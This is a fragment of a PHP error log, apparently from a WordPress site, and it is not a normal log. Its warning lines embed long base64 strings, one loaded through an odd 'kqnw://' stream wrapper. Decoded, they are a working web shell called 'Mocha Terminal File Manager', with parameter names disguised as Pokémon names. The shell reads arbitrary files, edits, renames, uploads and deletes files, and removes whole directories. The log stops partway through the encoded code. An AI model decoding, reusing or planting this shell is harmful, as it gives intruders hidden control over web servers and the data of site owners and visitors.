waHAgZWNobyAkaXRlbVsnaXNfZGlyJ10gPyAnaXMtZGlyJyA6ICdpcy1maWxlJzsgPz4iPg0KICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNvbC1wZXJtIj48P3BocCBlY2hvICRpdGVtWydwZXJtcyddOyA/PjwvZGl2Pg0KICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNvbC1zaXplIj48P3BocCBlY2hvICRpdGVtWydpc19kaXInXSA/ICdESVInIDogZm9ybWF0X3NpemUoJGl0ZW1bJ3NpemUnXSk7ID8+PC9kaXY+DQogICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iY29sLWRhdGUiPjw/cGhwIGVjaG8gJGl0ZW1bJ21vZCddOyA/PjwvZGl2Pg0KICAgICAgICAgICAgICAgIA0KICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNvbC1uYW1lIj4NCiAgICAgICAgICAgICAgICAgICAgPD9waHAgaWYgKCRpdGVtWydpc19kaXInXSk6ID8+DQogICAgICAgICAgICAgICAgICAgICAgICA8YSBocmVmPSI/PD9waHAgZWNobyBQX0RJUjsgPz49PD9waHAgZWNobyAkaXRlbVsnaGFzaCddOyA/PiIgY2xhc3M9ImlzLWxpbmsiPjw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkaXRlbVsnbmFtZSddKTsgPz48L2E+DQogICAgICAgICAgICAgICAgICAgIDw/cGhwIGVsc2U6ID8+DQogICAgICAgICAgICAgICAgICAgICAgICA8c3Bhbj48P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJGl0ZW1bJ25hbWUnXSk7ID8+PC9zcGFuPg0KICAgICAgICAgICAgICAgICAgICA8P3BocCBlbmRpZjsgPz4NCiAgICAgICAgICAgICAgICA8L2Rpdj4NCg0KICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNvbC1hY3Rpb25zIj4NCiAgICAgICAgICAgICAgICAgICAgPD9waHAgaWYgKCEkaXRlbVsnaXNfZGlyJ10pOiA/Pg0KICAgICAgICAgICAgICAgICAgICAgICAgPHNwYW4gY2xhc3M9ImNtZC1saW5rIiBvbmNsaWNrPSJvcGVuRWRpdG9yKCc8P3BocCBlY2hvICRpdGVtWydoYXNoJ107ID8+JywgJzw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycyhhZGRzbGFzaGVzKCRpdGVtWyduYW1lJ10pKTsgPz4nKSI+W2VkaXRdPC9zcGFuPg0KICAgICAgICAgICAgICAgICAgICA8P3BocCBlbmRpZjsgPz4NCiAgICAgICAgICAgICAgICAgICAgPHNwYW4gY2xhc3M9ImNtZC1saW5rIiBvbmNsaWNrPSJvcGVuUmVuYW1lTW9kYWwoJzw/cGhwIGVjaG8gJGl0ZW1bJ2hhc2gnXTsgPz4nLCAnPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKGFkZHNsYXNoZXMoJGl0ZW1bJ25hbWUnXSkpOyA/PicpIj5bcmVuYW1lXTwvc3Bhbj4NCiAgICAgICAgICAgICAgICAgICAgPHNwYW4gY2xhc3M9ImNtZC1saW5rIiBvbmNsaWNrPSJvcGVuRGVsZXRlTW9kYWwoJzw/cGhwIGVjaG8gJGl0ZW1bJ2hhc2gnXTsgPz4nLCAnPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKGFkZHNsYXNoZXMoJGl0ZW1bJ25hbWUnXSkpOyA/PicpIj5bZGVsZXRlXTwvc3Bhbj4NCiAgICAgICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICA8P3BocCBlbmRmb3JlYWNoOyA/Pg0KICAgICAgICANCiAgICAgICAgPD9waHAgaWYgKGVtcHR5KCRhbGxfaXRlbXMpKTogPz4NCiAgICAgICAgICAgIDxkaXYgc3R5bGU9InBhZGRpbmc6MTBweDsgY29sb3I6dmFyKC0tdGV4dC1kaW0pOyI+RGlyZWN0b3J5IGlzIGVtcHR5LjwvZGl2Pg0KICAgICAgICA8P3BocCBlbmRpZjsgPz4NCiAgICA8L2Rpdj4NCg0KICAgIDwhLS0gQm90dG9tIFBhbmVsIC0tPg0KICAgIDxkaXYgY2xhc3M9ImJvdHRvbS1wYW5lbCI+DQogICAgICAgIDxmb3JtIG1ldGhvZD0icG9zdCIgZW5jdHlwZT0ibXVsdGlwYXJ0L2Zvcm0tZGF0YSIgY2xhc3M9ImFjdGlvbi1mb3JtIiBzdHlsZT0iZmxleDoyOyI+DQogICAgICAgICAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSI8P3BocCBlY2hvIFBfQUNUSU9OOyA/PiIgdmFsdWU9Ijw/cGhwIGVjaG8gQV9VUDsgPz4iPg0KICAgICAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iPD9waHAgZWNobyBQX1RBUkc7ID8+IiB2YWx1ZT0iPD9waHAgZWNobyBnZXRfaGFzaCgkY3VycmVudF9kaXIpOyA/PiI+DQogICAgICAgICAgICA8c3BhbiBjbGFzcz0iY21kLWxpbmUiPnVwbG9hZCZndDs8L3NwYW4+DQogICAgICAgICAgICA8aW5wdXQgdHlwZT0iZmlsZSIgbmFtZT0iPD9waHAgZWNobyBQX0ZJTEU7ID8+Ij4NCiAgICAgICAgICAgIDxidXR0b24gdHlwZT0ic3VibWl0Ij5TZW5kPC9idXR0b24+DQogICAgICAgIDwvZm9ybT4NCg0KICAgICAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGNsYXNzPSJhY3Rpb24tZm9ybSIgc3R5bGU9ImZsZXg6MTsiPg0KICAgICAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iPD9waHAgZWNobyBQX0FDVElPTjsgPz4iIHZhbHVlPSI8P3BocCBlY2hvIEFfTUtESVI7ID8+Ij4NCiAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9Ijw/cGhwIGVjaG8gUF9UQVJHOyA/PiIgdmFsdWU9Ijw/cGhwIGVjaG8gZ2V0X2hhc2goJGN1cnJlbnRfZGlyKTsgPz4iPg0KICAgICAgICAgICAgPHNwYW4gY2xhc3M9ImNtZC1saW5lIj5ta2RpciZndDs8L3NwYW4+DQogICAgICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iPD9waHAgZWNobyBQX05BTUU7ID8+IiBwbGFjZWhvbGRlcj0ibmV3X2ZvbGRlciIgcmVxdWlyZWQ+DQogICAgICAgICAgICA8YnV0dG9uIHR5cGU9InN1Ym1pdCI+KzwvYnV0dG9uPg0KICAgICAgICA8L2Zvcm0+DQogICAgPC9kaXY+DQo8L2Rpdj4NCg0KPCEtLSBISURERU4gRk9STVMgRk9SIEFDVElPTlMgLS0+DQo8Zm9ybSBpZD0iYWN0aW9uLWZvcm0iIG1ldGhvZD0icG9zdCIgc3R5bGU9ImRpc3BsYXk6bm9uZTsiPg0KICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9Ijw/cGhwIGVjaG8gUF9BQ1RJT047ID8+IiBpZD0iYWN0LWFjdGlvbiI+DQogICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iPD9waHAgZWNobyBQX0hBU0g7ID8+IiBpZD0iYWN0LWhhc2giPg0KICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9Ijw/cGhwIGVjaG8gUF9OQU1FOyA/PiIgaWQ9ImFjdC1uZXduYW1lIj4NCjwvZm9ybT4NCg0KPCEtLSBERUxFVEUgTU9EQUwgLS0+DQo8ZGl2IGlkPSJkZWxldGUtbW9kYWwiIGNsYXNzPSJtb2RhbC1vdmVybGF5Ij4NCiAgICA8ZGl2IGNsYXNzPSJtb2RhbC1ib3giPg0KICAgICAgICA8ZGl2IGNsYXNzPSJtb2RhbC1oZWFkZXIiPkRlbGV0ZSBDb25maXJtYXRpb248L2Rpdj4NCiAgICAgICAgPGRpdj5BcmUgeW91IHN1cmUgeW91IHdhbnQgdG8gZGVsZXRlIDxiIGlkPSJkZWwtZmlsZW5hbWUiPmZpbGU8L2I+PzwvZGl2Pg0KICAgICAgICA8ZGl2IGNsYXNzPSJtb2RhbC1mb290ZXIiPg0KICAgICAgICAgICAgPGJ1dHRvbiBvbmNsaWNrPSJjbG9zZU1vZGFscygpIiBzdHlsZT0iYmFja2dyb3VuZDp0cmFuc3BhcmVudDsgYm9yZGVyLWNvbG9yOnZhcigtLXRleHQtZGltKTsiPkNhbmNlbDwvYnV0dG9uPg0KICAgICAgICAgICAgPGJ1dHRvbiBvbmNsaWNrPSJjb25maXJtRGVsZXRlKCkiPkRlbGV0ZTwvYnV0dG9uPg0KICAgICAgICA8L2Rpdj4NCiAgICA8L2Rpdj4NCjwvZGl2Pg0KDQo8IS0tIFJFTkFNRSBNT0RBTCAtLT4NCjxkaXYgaWQ9InJlbmFtZS1tb2RhbCIgY2xhc3M9Im1vZGFsLW92ZXJsYXkiPg0KICAgIDxkaXYgY2xhc3M9Im1vZGFsLWJveCI+DQogICAgICAgIDxkaXYgY2xhc3M9Im1vZGFsLWhlYWRlciI+UmVuYW1lPC9kaXY+DQogICAgICAgIDxkaXY+DQogICAgICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgaWQ9InJlbi1pbnB1dCIgc3R5bGU9IndpZHRoOjEwMCU7IHBhZGRpbmc6OHB4OyI+DQogICAgICAgIDwvZGl2Pg0KICAgICAgICA8ZGl2IGNsYXNzPSJtb2RhbC1mb290ZXIiPg0KICAgICAgICAgICAgPGJ1dHRvbiBvbmNsaWNrPSJjbG9zZU1vZGFscygpIiBzdHlsZT0iYmFja2dyb3VuZDp0cmFuc3BhcmVudDsgYm9yZGVyLWNvbG9yOnZhcigtLXRleHQtZGltKTsiPkNhbmNlbDwvYnV0dG9uPg0KICAgICAgICAgICAgPGJ1dHRvbiBvbmNsaWNrPSJjb25maXJtUmVuYW1lKCkiPlJlbmFtZTwvYnV0dG9uPg0KICAgICAgICA8L2Rpdj4NCiAgICA8L2Rpdj4NCjwvZGl2Pg0KDQo8IS0tIEVESVRPUiBNT0RBTCAtLT4NCjxkaXYgaWQ9ImVkaXRvci1tb2RhbCIgY2xhc3M9Im1vZGFsLW92ZXJsYXkiPg0KICAgIDxkaXYgY2xhc3M9Im1vZGFsLWJveCI+DQogICAgICAgIDxkaXYgY2xhc3M9Im1vZGFsLWhlYWRlciIgc3R5bGU9ImRpc3BsYXk6ZmxleDsganVzdGlmeS1jb250ZW50OnNwYWNlLWJldHdlZW47Ij4NCiAgICAgICAgICAgIDxzcGFuIGlkPSJlZGl0b3ItZmlsZW5hbWUiPkVkaXRpbmc8L3NwYW4+DQogICAgICAgICAgICA8c3BhbiBzdHlsZT0iY3Vyc29yOnBvaW50ZXI7IiBvbmNsaWNrPSJjbG9zZU1vZGFscygpIj5beF08L3NwYW4+DQogICAgICAgIDwvZGl2Pg0KICAgICAgICA8dGV4dGFyZWEgaWQ9ImVkaXRvci1hcmVhIj48L3RleHRhcmVhPg0KICAgICAgICA8ZGl2IGNsYXNzPSJtb2RhbC1mb290ZXIiPg0KICAgICAgICAgICAgPGJ1dHRvbiBvbmNsaWNrPSJjbG9zZU1vZGFscygpIiBzdHlsZT0iYmFja2dyb3VuZDp0cmFuc3BhcmVudDsgYm9yZGVyLWNvbG9yOnZhcigtLXRleHQtZGltKTsiPkNhbmNlbDwvYnV0dG9uPg0KICAgICAgICAgICAgPGJ1dHRvbiBvbmNsaWNrPSJzYXZlRWRpdCgpIj5TYXZlPC9idXR0b24+DQogICAgICAgIDwvZGl2Pg0KICAgIDwvZGl2Pg0KPC9kaXY+DQoNCjxzY3JpcHQ+DQogICAgLy8gSGVscGVycw0KICAgIGNvbnN0IFBfQUNUSU9OID0gJzw/cGhwIGVjaG8gUF9BQ1RJT047ID8+JzsNCiAgICBjb25zdCBBX0RFTCA9ICc8P3BocCBlY2hvIEFfREVMOyA/Pic7DQogICAgY29uc3QgQV9SRU4gPSAnPD9waHAgZWNobyBBX1JFTjsgPz4nOw0KICAgIGNvbnN0IEFfRURJVCA9ICc8P3BocCBlY2hvIEFfRURJVDsgPz4nOw0KICAgIA0KICAgIGxldCBjdXJyZW50QWN0aW9uSGFzaCA9IG51bGw7DQoNCiAgICAvLyBNb2RhbCBIYW5kbGVycw0KICAgIGZ1bmN0aW9uIGNsb3NlTW9kYWxzKCkgew0KICAgICAgICBkb2N1bWVudC5xdWVyeVNlbGVjdG9yQWxsKCcubW9kYWwtb3ZlcmxheScpLmZvckVhY2goZWwgPT4gZWwuc3R5bGUuZGlzcGxheSA9ICdub25lJyk7DQogICAgICAgIGN1cnJlbnRBY3Rpb25IYXNoID0gbnVsbDsNCiAgICB9DQoNCiAgICAvLyBEZWxldGUgTG9naWMNCiAgICBmdW5jdGlvbiBvcGVuRGVsZXRlTW9kYWwoaGFzaCwgbmFtZSkgew0KICAgICAgICBjdXJyZW50QWN0aW9uSGFzaCA9IGhhc2g7DQogICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdkZWwtZmlsZW5hbWUnKS5pbm5lclRleHQgPSBuYW1lOw0KICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnZGVsZXRlLW1vZGFsJykuc3R5bGUuZGlzcGxheSA9ICdmbGV4JzsNCiAgICB9DQoNCiAgICBmdW5jdGlvbiBjb25maXJtRGVsZXRlKCkgew0KICAgICAgICBpZihjdXJyZW50QWN0aW9uSGFzaCkgew0KICAgICAgICAgICAgc3VibWl0QWN0aW9uKEFfREVMLCBjdXJyZW50QWN0aW9uSGFzaCk7DQogICAgICAgIH0NCiAgICB9DQoNCiAgICAvLyBSZW5hbWUgTG9naWMNCiAgICBmdW5jdGlvbiBvcGVuUmVuYW1lTW9kYWwoaGFzaCwgbmFtZSkgew0KICAgICAgICBjdXJyZW50QWN0aW9uSGFzaCA9IGhhc2g7DQogICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdyZW4taW5wdXQnKS52YWx1ZSA9IG5hbWU7DQogICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdyZW5hbWUtbW9kYWwnKS5zdHlsZS5kaXNwbGF5ID0gJ2ZsZXgnOw0KICAgIH0NCg0KICAgIGZ1bmN0aW9uIGNvbmZpcm1SZW5hbWUoKSB7DQogICAgICAgIGlmKGN1cnJlbnRBY3Rpb25IYXNoKSB7DQogICAgICAgICAgICBsZXQgbmV3TmFtZSA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdyZW4taW5wdXQnKS52YWx1ZTsNCiAgICAgICAgICAgIGlmKG5ld05hbWUpIHsNCiAgICAgICAgICAgICAgICBsZXQgZm9ybSA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdhY3Rpb24tZm9ybScpOw0KICAgICAgICAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdhY3QtYWN0aW9uJykudmFsdWUgPSBBX1JFTjsNCiAgICAgICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnYWN0LWhhc2gnKS52YWx1ZSA9IGN1cnJlbnRBY3Rpb25IYXNoOw0KICAgICAgICAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdhY3QtbmV3bmFtZScpLnZhbHVlID0gbmV3TmFtZTsNCiAgICAgICAgICAgICAgICBmb3JtLnN1Ym1pdCgpOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgLy8gRWRpdG9yIExvZ2ljDQogICAgZnVuY3Rpb24gb3BlbkVkaXRvcihoYXNoLCBuYW1lKSB7DQogICAgICAgIGN1cnJlbnRBY3Rpb25IYXNoID0gaGFzaDsNCiAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2VkaXRvci1maWxlbmFtZScpLmlubmVyVGV4dCA9ICdFZGl0aW5nOiAnICsgbmFtZTsNCiAgICAgICAgDQogICAgICAgIHZhciB4aHIgPSBuZXcgWE1MSHR0cFJlcXVlc3QoKTsNCiAgICAgICAgeGhyLm9ucmVhZHlzdGF0ZWNoYW5nZSA9IGZ1bmN0aW9uKCkgew0KICAgICAgICAgICAgaWYgKHhoci5yZWFkeVN0YXRlID09PSA0KSB7DQogICAgICAgICAgICAgICAgaWYgKHhoci5zdGF0dXMgPT09IDIwMCkgew0KICAgICAgICAgICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnZWRpdG9yLWFyZWEnKS52YWx1ZSA9IHhoci5yZXNwb25zZVRleHQ7DQogICAgICAgICAgICAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdlZGl0b3ItbW9kYWwnKS5zdHlsZS5kaXNwbGF5ID0gJ2ZsZXgnOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGFsZXJ0KCJFcnJvciBsb2FkaW5nIGZpbGUuIik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9Ow0KICAgICAgICB4aHIub3BlbignR0VUJywgJz88P3BocCBlY2hvIFBfUkFXOyA/Pj0nICsgZW5jb2RlVVJJQ29tcG9uZW50KGhhc2gpLCB0cnVlKTsNCiAgICAgICAgeGhyLnNlbmQoKTsNCiAgICB9DQoNCiAgICBmdW5jdGlvbiBzYXZlRWRpdCgpIHsNCiAgICAgICAgaWYgKCFjdXJyZW50QWN0aW9uSGFzaCkgcmV0dXJuOw0KICAgICAgICBsZXQgY29udGVudCA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdlZGl0b3ItYXJlYScpLnZhbHVlOw0KICAgICAgICANCiAgICAgICAgbGV0IGZvcm0gPSBkb2N1bWVudC5jcmVhdGVFbGVtZW50KCdmb3JtJyk7DQogICAgICAgIGZvcm0ubWV0aG9kID0gJ1BPU1QnOw0KICAgICAgICBmb3JtLnN0eWxlLmRpc3BsYXkgPSAnbm9uZSc7DQoNCiAgICAgICAgY3JlYXRlSW5wdXQoZm9ybSwgJzw/cGhwIGVjaG8gUF9BQ1RJT047ID8+JywgJzw/cGhwIGVjaG8gQV9FRElUOyA/PicpOw0KICAgICAgICBjcmVhdGVJbnB1dChmb3JtLCAnPD9waHAgZWNobyBQX0hBU0g7ID8+JywgY3VycmVudEFjdGlvbkhhc2gpOw0KICAgICAgICBjcmVhdGVJbnB1dChmb3JtLCAnPD9waHAgZWNobyBQX0NPTlQ7ID8+JywgY29udGVudCk7DQoNCiAgICAgICAgZG9jdW1lbnQuYm9keS5hcHBlbmRDaGlsZChmb3JtKTsNCiAgICAgICAgZm9ybS5zdWJtaXQoKTsNCiAgICB9DQoNCiAgICBmdW5jdGlvbiBzdWJtaXRBY3Rpb24oYWN0aW9uLCBoYXNoKSB7DQogICAgICAgIGxldCBmb3JtID0gZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2FjdGlvbi1mb3JtJyk7DQogICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdhY3QtYWN0aW9uJykudmFsdWUgPSBhY3Rpb247DQogICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdhY3QtaGFzaCcpLnZhbHVlID0gaGFzaDsNCiAgICAgICAgZm9ybS5zdWJtaXQoKTsNCiAgICB9DQoNCiAgICBmdW5jdGlvbiBjcmVhdGVJbnB1dChmb3JtLCBuYW1lLCB2YWx1ZSkgew0KICAgICAgICBsZXQgaW5wdXQgPSBkb2N1bWVudC5jcmVhdGVFbGVtZW50KCdpbnB1dCcpOw0KICAgICAgICBpbnB1dC50eXBlID0gJ2hpZGRlbic7DQogICAgICAgIGlucHV0Lm5hbWUgPSBuYW1lOw0KICAgICAgICBpbnB1dC52YWx1ZSA9IHZhbHVlOw0KICAgICAgICBmb3JtLmFwcGVuZENoaWxkKGlucHV0KTsNCiAgICB9DQo8L3NjcmlwdD4NCg0KPC9ib2R5Pg0KPC9odG1sPg==:237) in /home/livedhms/streamsza.com/wp-includes/pluggable.php on line 1538
[04-Jun-2026 10:31:51 UTC] PHP Warning:  Cannot modify header information - headers already sent by (output started at kqnw://PD9waHAgLyoqDQogKiBNb2NoYSBUZXJtaW5hbCBGaWxlIE1hbmFnZXIgKE5vdGlmaWNhdGlvbnMgRWRpdGlvbikNCiAqIFNpbmdsZSBGaWxlLCBQSFAgNSsgQ29tcGF0aWJsZQ0KICovDQoNCi8vIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQovLyBQT0tFTU9OIFBBUkFNRVRFUiBNQVBQSU5HDQovLyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KLy8gR0VUIFBhcmFtcw0KY29uc3QgUF9ESVIgICAgICA9ICdwaWthY2h1JzsgICAgICAgLy8gRGlyZWN0b3J5IGhhc2gNCmNvbnN0IFBfUkFXICAgICAgPSAnYnVsYmFzYXVyJzsgICAgIC8vIFJhdyBmaWxlIHZpZXcgZm9yIGVkaXRvcg0KY29uc3QgUF9NU0cgICAgICA9ICdtZXd0d28nOyAgICAgICAgLy8gU3RhdHVzIG1lc3NhZ2UgdGV4dA0KY29uc3QgUF9UWVBFICAgICA9ICdtb2x0cmVzJzsgICAgICAgLy8gU3RhdHVzIG1lc3NhZ2UgdHlwZSAoc3VjY2Vzcy9lcnJvcikNCg0KLy8gUE9TVCBQYXJhbXMNCmNvbnN0IFBfQUNUSU9OICAgPSAnY2hhcml6YXJkJzsgICAgIC8vIEFjdGlvbiBuYW1lDQpjb25zdCBQX0hBU0ggICAgID0gJ3NxdWlydGxlJzsgICAgICAvLyBGaWxlL0ZvbGRlciBoYXNoDQpjb25zdCBQX1RBUkcgICAgID0gJ3BzeWR1Y2snOyAgICAgICAvLyBUYXJnZXQgZGlyZWN0b3J5IGhhc2ggKGZvciB1cGxvYWQvbWtkaXIpDQpjb25zdCBQX05BTUUgICAgID0gJ2ppZ2dseXB1ZmYnOyAgICAvLyBOZXcgTmFtZSAvIEZvbGRlciBOYW1lDQpjb25zdCBQX0NPTlQgICAgID0gJ3Nub3JsYXgnOyAgICAgICAvLyBGaWxlIGNvbnRlbnQgZm9yIGVkaXQNCmNvbnN0IFBfRklMRSAgICAgPSAnbWVvd3RoJzsgICAgICAgIC8vIFVwbG9hZGVkIGZpbGUgKCRfRklMRVMpDQpjb25zdCBQX0ZEQVRBICAgID0gJ2dlbmdhcic7ICAgICAgICAvLyBCYXNlNjQgZmlsZSBkYXRhDQpjb25zdCBQX0ZOQU1FICAgID0gJ29uaXgnOyAgICAgICAgICAvLyBGaWxlbmFtZSBmb3IgYmFzZTY0IHVwbG9hZA0KDQovLyBBY3Rpb24gVmFsdWVzDQpjb25zdCBBX0RFTCAgICAgID0gJ2h5ZHJvLXB1bXAnOw0KY29uc3QgQV9SRU4gICAgICA9ICdmbGFtZXRocm93ZXInOw0KY29uc3QgQV9FRElUICAgICA9ICdzb2xhci1iZWFtJzsNCmNvbnN0IEFfVVAgICAgICAgPSAnaHlwZXItYmVhbSc7DQpjb25zdCBBX01LRElSICAgID0gJ2VhcnRocXVha2UnOw0KDQovLyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KLy8gMS4gRUFSTFkgUkVTUE9OU0UgSEFORExFUlMgKEFKQVggLyBSQVcgVklFVykNCi8vIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQoNCi8vIEhhbmRsZSBSYXcgVmlldyAoRWRpdG9yIENvbnRlbnQpIC0gTXVzdCBiZSB0b3Agb2YgZmlsZQ0KaWYgKGlzc2V0KCRfR0VUW1BfUkFXXSkpIHsNCiAgICAkaGFzaCA9ICRfR0VUW1BfUkFXXTsNCiAgICAkcGF0aCA9IGJhc2U2NF9kZWNvZGUoJGhhc2gpOw0KICAgIA0KICAgIGlmIChpc19maWxlKCRwYXRoKSkgew0KICAgICAgICBoZWFkZXIoJ0NvbnRlbnQtVHlwZTogdGV4dC9wbGFpbicpOw0KICAgICAgICByZWFkZmlsZSgkcGF0aCk7DQogICAgICAgIGV4aXQ7DQogICAgfSBlbHNlIHsNCiAgICAgICAgaGVhZGVyKCJIVFRQLzEuMCA0MDQgTm90IEZvdW5kIik7DQogICAgICAgIGV4aXQoIkZpbGUgbm90IGZvdW5kLiIpOw0KICAgIH0NCn0NCg0KLy8gLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCi8vIDIuIENPTkZJR1VSQVRJT04gJiBTRVRVUA0KLy8gLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCg0KZXJyb3JfcmVwb3J0aW5nKEVfQUxMKTsNCmluaV9zZXQoJ2Rpc3BsYXlfZXJyb3JzJywgMCk7IA0KDQogJGJhc2VfZGlyID0gZ2V0Y3dkKCk7DQogJGJhc2VfZGlyID0gcnRyaW0oJGJhc2VfZGlyLCAnL1xcJyk7DQoNCi8vIEN1cnJlbnQgRGlyZWN0b3J5IExvZ2ljDQogJGN1cnJlbnRfZGlyID0gJGJhc2VfZGlyOw0KaWYgKGlzc2V0KCRfR0VUW1BfRElSXSkpIHsNCiAgICAkZGVjb2RlZCA9IGJhc2U2NF9kZWNvZGUoJF9HRVRbUF9ESVJdKTsNCiAgICBpZiAoJGRlY29kZWQgJiYgaXNfZGlyKCRkZWNvZGVkKSkgew0KICAgICAgICAkY3VycmVudF9kaXIgPSAkZGVjb2RlZDsNCiAgICB9DQp9DQoNCi8vIFJlYWQgTm90aWZpY2F0aW9uIGZyb20gVVJMDQogJHN0YXR1c19tc2cgPSBpc3NldCgkX0dFVFtQX01TR10pID8gaHRtbHNwZWNpYWxjaGFycygkX0dFVFtQX01TR10pIDogJyc7DQogJHN0YXR1c190eXBlID0gaXNzZXQoJF9HRVRbUF9UWVBFXSkgPyAkX0dFVFtQX1RZUEVdIDogJ3N1Y2Nlc3MnOw0KDQpmdW5jdGlvbiBnZXRfc2FmZV9wYXRoKCRwYXRoKSB7DQogICAgcmV0dXJuIHN0cl9yZXBsYWNlKCdcXCcsICcvJywgJHBhdGgpOw0KfQ0KDQpmdW5jdGlvbiBnZXRfaGFzaCgkcGF0aCkgew0KICAgIHJldHVybiBydHJpbShiYXNlNjRfZW5jb2RlKCRwYXRoKSwgJz0nKTsNCn0NCg0KLy8gLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCi8vIDMuIFBPU1QgSEFORExJTkcgKEFDVElPTlMpDQovLyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KDQovLyBDdXN0b20gUmVkaXJlY3QgaGVscGVyIHRoYXQgY2FycmllcyB0aGUgbWVzc2FnZQ0KZnVuY3Rpb24gcmVkaXJlY3QoJGRpciwgJG1zZyA9ICcnLCAkdHlwZSA9ICdzdWNjZXNzJykgew0KICAgICR1cmwgPSAiPyIgLiBQX0RJUiAuICI9IiAuIGdldF9oYXNoKCRkaXIpOw0KICAgIGlmICgkbXNnKSB7DQogICAgICAgICR1cmwgLj0gIiYiIC4gUF9NU0cgLiAiPSIgLiB1cmxlbmNvZGUoJG1zZyk7DQogICAgICAgICR1cmwgLj0gIiYiIC4gUF9UWVBFIC4gIj0iIC4gJHR5cGU7DQogICAgfQ0KICAgIGhlYWRlcigiTG9jYXRpb246ICIgLiAkdXJsKTsNCiAgICBleGl0Ow0KfQ0KDQppZiAoJF9TRVJWRVJbJ1JFUVVFU1RfTUVUSE9EJ10gPT09ICdQT1NUJykgew0KDQogICAgLy8gMS4gREVMRVRFDQogICAgaWYgKGlzc2V0KCRfUE9TVFtQX0FDVElPTl0pICYmICRfUE9TVFtQX0FDVElPTl0gPT09IEFfREVMICYmIGlzc2V0KCRfUE9TVFtQX0hBU0hdKSkgew0KICAgICAgICAkdGFyZ2V0ID0gYmFzZTY0X2RlY29kZSgkX1BPU1RbUF9IQVNIXSk7DQogICAgICAgICRzdWNjZXNzID0gZmFsc2U7DQogICAgICAgIGlmIChpc19maWxlKCR0YXJnZXQpKSB7DQogICAgICAgICAgICAkc3VjY2VzcyA9IEB1bmxpbmsoJHRhcmdldCk7DQogICAgICAgIH0gZWxzZWlmIChpc19kaXIoJHRhcmdldCkpIHsNCiAgICAgICAgICAgIGZ1bmN0aW9uIHJybWRpcigkZGlyKSB7DQogICAgICAgICAgICAgICAgJGZpbGVzID0gYXJyYXlfZGlmZihzY2FuZGlyKCRkaXIpLCBhcnJheSgnLicsJy4uJykpOw0KICAgICAgICAgICAgICAgIGZvcmVhY2ggKCRmaWxlcyBhcy